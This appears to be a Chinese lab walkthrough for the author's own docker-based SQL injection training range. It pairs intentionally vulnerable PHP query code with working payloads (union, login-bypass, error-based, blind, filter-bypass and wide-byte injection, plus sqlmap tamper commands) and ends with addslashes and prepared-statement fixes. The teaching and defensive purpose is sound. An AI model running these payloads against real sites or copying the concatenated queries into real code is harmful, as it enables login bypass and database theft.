前言

自己也有过讲师经历,发现别人的靶场不是很适合自己教学,即时他们写的很优秀,之前用过国光师傅的web靶场,使用的是 docker 搭建,很是方便。

还记得自己在做讲师的时候,心里就萌生了一种想法:”一个好的讲师,需要有自己足够的知识功底,自己写的课件和自己写的优秀靶场”。

所以这个想法在我心里很久了,一直没有实施,趁着寒假之际,在家里学习 CCNA 学的有点乏味了,于是就想着先学学其他的。不过时至今日,CCNA 的学习也快结束了。

于是就写了这个基于 docker 搭建,使用 docker-compose.yam 文件一键启动的靶场。

不管是以后工作,还是专职培训,都或多或少会接触到培训,于是靶场就应运而生。

目前就写了 sql 注入和暴破破解两个系列,后续有时间再补充让其成体系。

靶场暂时属于闭源。

简单的INT型注入

1
2
3
4
5
6
7
8
<?php
$id = $_GET['id'];
if (isset($id) && isset($_GET['submit']) && $id !== '') {
$sql = "SELECT * FROM `info` WHERE id=$id";
$result = mysqli_query($conn, $sql);
$rows = mysqli_fetch_assoc($result);
}
?>

PAYLOAD:

1
?id=-1 union select flag,2,3,4,5,6,7,8 from ctftraining.flag &submit=%E6%8F%90%E4%BA%A4

image-20240129151416541

简单的GET型注入-1

1
2
3
4
5
6
7
8
<?php 
$id = $_GET['id'];
if (isset($id) && isset($_GET['submit']) && $id !== '') {
$sql = "SELECT * FROM `info` WHERE id='$id'";
$result = mysqli_query($conn, $sql);
$rows = mysqli_fetch_assoc($result);
}
?>

PAYLOAD

1
?id=-1' union select flag,2,3,4,5,6,7,8 from ctftraining.flag %23&submit=%E6%8F%90%E4%BA%A4

image-20240129152235673

简单的GET型注入-2

1
2
3
4
5
6
7
8
<?php
$id = $_GET['id'];
if (isset($id) && isset($_GET['submit']) && $id !== '') {
$sql = "SELECT * FROM `info` WHERE id=\"$id\"";
$result = mysqli_query($conn, $sql);
$rows = mysqli_fetch_assoc($result);
}
?>

PAYLOAD:

1
?id=-1" union select flag,2,3,4,5,6,7,8 from ctftraining.flag %23&submit=%E6%8F%90%E4%BA%A4

image-20240129152254503

简单的GET型注入-3

1
2
3
4
5
6
7
8
<?php
$id = $_GET['id'];
if (isset($id) && isset($_GET['submit']) && $id !== '') {
$sql = "SELECT * FROM `info` WHERE id=('$id')";
$result = mysqli_query($conn, $sql);
$rows = mysqli_fetch_assoc($result);
}
?>

PAYLOAD:

1
?id=-1') union select flag,2,3,4,5,6,7,8 from ctftraining.flag %23&submit=%E6%8F%90%E4%BA%A4

image-20240129152321866

万能密码和POST注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if (!empty($_POST['username']) and !empty($_POST['password']) and !empty($_POST['submit'])) {
$username = $_POST['username'];
$password = md5($_POST['password']);
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $sql);
$rows = mysqli_fetch_assoc($result);
$username = $rows['username'];
if (mysqli_num_rows($result) >= 1) {
echo "<script>alert('登录成功!欢迎用户: {$username}');</script>";
} else {
echo "<script>alert('登录失败,用户名或密码错误!');</script>";
}
}else if (isset($_POST['submit'])) {
echo "<script>alert('用户名或密码不能为空!');</script>";
}
?>

由于密码被后端进行 md5 加密之后带入到的 SQL 语句,因此注入点只能在用户名输入处。

万能密码 PAYLOAD:

1
admin' or 1 = 1 #

密码随便输入

image-20240129152511174

又因为登录成功后,会将从数据库中查询的用户名数据输出到页面,故而这里是存在联合查询注入的。

联合注入PYALOAD:

1
123' union select 1,flag,3,4,5 from ctftraining.flag #

image-20240129152735913

基于报错的注入

1
2
3
4
5
<?php
if (!$result) {
echo mysqli_error($conn);
}
?>

PAYLOAD:

由于基于 xpath 的报错注入,返回的错误信息最大长度为32,因此需要配合 substr 函数进行截取。

1
2
3
4
# 获取前32位:
?id=1" or updatexml(0x7e,substr(concat(0x7e,(select flag from ctftraining.flag),0x7e),1, 32),0x7e)%23&submit=%E6%8F%90%E4%BA%A4
# 获取后32位:
?id=1" or updatexml(0x7e,substr(concat(0x7e,(select flag from ctftraining.flag),0x7e),32, 64),0x7e)%23&submit=%E6%8F%90%E4%BA%A4

image-20240129153022091

image-20240129153304984

基于布尔的注入

经过测试发现,页面并无报错信息,同时查询数据的状态只有 没有查询出数据数据存在

判断注入点:

1
?id=1" and 1=1 %23&submit=%E6%8F%90%E4%BA%A4

返回数据存在

image-20240129153533440

1
?id=1" and 1=2 %23&submit=%E6%8F%90%E4%BA%A4

返回没有查询出数据

image-20240129153603409

故而判断漏洞存在。

使用 sqlmap 进行一步测试。

1
sqlmap -u "http://x.x.x.x:30007/?id=1&submit=%E6%8F%90%E4%BA%A4" --batch --flush-session

image-20240129154141168

基于时间的注入

经过测试发现输入 id 为 0 以及 id 和 1 返回的内容是一样的。

image-20240129154256003

PAYLOAD:

1
?id=1' and sleep(5) %23&submit=%E6%8F%90%E4%BA%A4

发现页面延迟5秒,故而存在注入。

使用 sqlmap 进一步测试:

1
sqlmap -u "http://x.x.x.x:30008/?id=1&submit=%E6%8F%90%E4%BA%A4" --batch --flush-session

image-20240129154547146

bypass space

页面检测了空格,可以使用如下方式代替:

字符 URL编码 说明
TAB 09 制表符
LF 0A 换行
FF 0C 换页
CR 0D 回车```
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# /**/
sqlmap -u "http://x.x.x.x:30009/?id=1&submit=%E6%8F%90%E4%BA%A4" --tamper="space2comment" --flush-session

# /**_**/
sqlmap -u "http://x.x.x.x:30009/?id=1&submit=%E6%8F%90%E4%BA%A4" --tamper="space2morecomment" --flush-session

# %23%0A
sqlmap -u "http://x.x.x.x:30009/?id=1&submit=%E6%8F%90%E4%BA%A4" --tamper="space2mssqlhash" --flush-session

# --%0A
sqlmap -u "http://x.x.x.x:30009/?id=1&submit=%E6%8F%90%E4%BA%A4" --tamper="space2mysqldash" --flush-session

# %09 %0A %0C %0D
sqlmap -u "http://x.x.x.x:30009/?id=1&submit=%E6%8F%90%E4%BA%A4" --tamper="space2randomblank" --flush-session

image-20240129155204780

bypass and-or

页面禁用了大小写的 andor,可以使用 &&|| 替换

1
sqlmap -u "http://x.x.x.x:30010/?id=1&submit=%E6%8F%90%E4%BA%A4" --tamper="symboliclogical" --flush-session

image-20240129155804577

byapss space-and-or

页面禁用了空格和大小写的 andor,逻辑运算符可以使用 &&|| 替换。空格可以使用 /**/ 等替换。

1
sqlmap -u "http://120.48.128.24:30010/?id=+and&submit=%E6%8F%90%E4%BA%A4" --tamper="space2comment,symboliclogical" --flush-session --batch

image-20240129160144980

基于宽字节的注入

宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入。

网站添加 addslashes 函数过滤或者是开启 PHPGPC 的情况下,黑客们使用的预定义字符会给转义成添加反斜杠的字符串:

1
2
3
单引号 '   ==> \'
双引号 " ==> \"
反斜杠 \ ==> \\

假如这个网站有宽字节注入那么我们提交的数据 %df' 就会变成 運' 在数据库查询前因为设置了 GBK 编码,即是在汉字编码范围内两个字节都会给重新编码为一个汉字这样 %df%5c

就转换成了汉字 運` ,而单引号就逃逸了出来,从而造成了注入漏洞。

1
?id=-1%df' union select flag,2,3,4,5,6,7,8 from ctftraining.flag %23&submit=%E6%8F%90%E4%BA%A4

image-20240129160420934

基于 addslashes 函数的漏洞修复

页面底部点击 show_source 自行阅读源码。

1
2
3
4
5
6
7
<?php
$id = addslashes($_GET["id"]);
if (isset($id) && isset($_GET["submit"]) && $id !== "") {
$sql = "SELECT * FROM `info` WHERE id=\'$id\'";
$result = mysqli_query($conn, $sql);
$rows = mysqli_fetch_assoc($result);
}?>

基于 预编译 的漏洞修复

页面底部点击 show_source 自行阅读源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
error_reporting(0);
define("DB_TYPE", "mysql");
define("DB_HOST", "127.0.0.1");
define("DB_USER", "root");
define("DB_PASS", "root");
define("DB_PORT", "3306");
define("DB_NAME", 'address_book');
define("DB_CHARSET", "utf8");

// 定义dsn信息
$tpl = '%s:host=%s;dbname=%s;port=%s;cahrset=%s';
$args = [DB_TYPE, DB_HOST, DB_NAME, DB_PORT, DB_CHARSET];
$dsn = sprintf($tpl, ...$args);

// 创建数据库连接对象并检查连接
try {
$conn = new PDO($dsn, DB_USER, DB_PASS);
// 设置结果集的默认获取模式:只要关联部分
$conn->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
} catch (PDOException $e) {
echo $e->getMessage();
}

$id = $_GET['id'];
if (isset($id) && isset($_GET['submit']) && $id !== '') {
// 预处理语句
$stmt = $conn->prepare("SELECT * FROM `info` WHERE id = ?");
// 绑定参数
$stmt->bindParam(1, $id);
// 执行sql语句
$stmt->execute();
// 获取结果集 array 类型
$rows = $stmt->fetch();
// 获取查询条目数量
$rowCount = $stmt->rowCount();
}

if (isset($_GET['id']) && isset($_GET['submit'])) {
if ($rowCount == 1) {
# 将数据库中的gender替换为男或女
$rows['gender'] = !empty($rows['gender']) && $rows['gender'] >= 1 ? '男' : '女';
# 输出数据
echo '<table class="table table-hover">';
echo
'<tr class="table-info" style="text-align:center;">
<th scope="col">ID</th>
<th scope="col">姓名</th>
<th scope="col">性别</th>
<th scope="col">年龄</th>
<th scope="col">手机号码</th>
<th scope="col">地址</th>
</tr>';
echo "<tbody>";
echo "<tr class='table-light' style='text-align:center;'>";
echo "<td>{$rows['id']}</td>";
echo "<td>{$rows['name']}</td>";
echo "<td>{$rows['gender']}</td>";
echo "<td>{$rows['age']}</td>";
echo "<td>{$rows['phone']}</td>";
echo "<td>{$rows['province']}{$rows['city']}{$rows['area']}</td>";
echo "</tr/>";
echo "</tbody>";
echo '</table>';
} else if ($rowCount === 0) {
echo '<p class="card-text">没有查询出数据!</p>';
}
}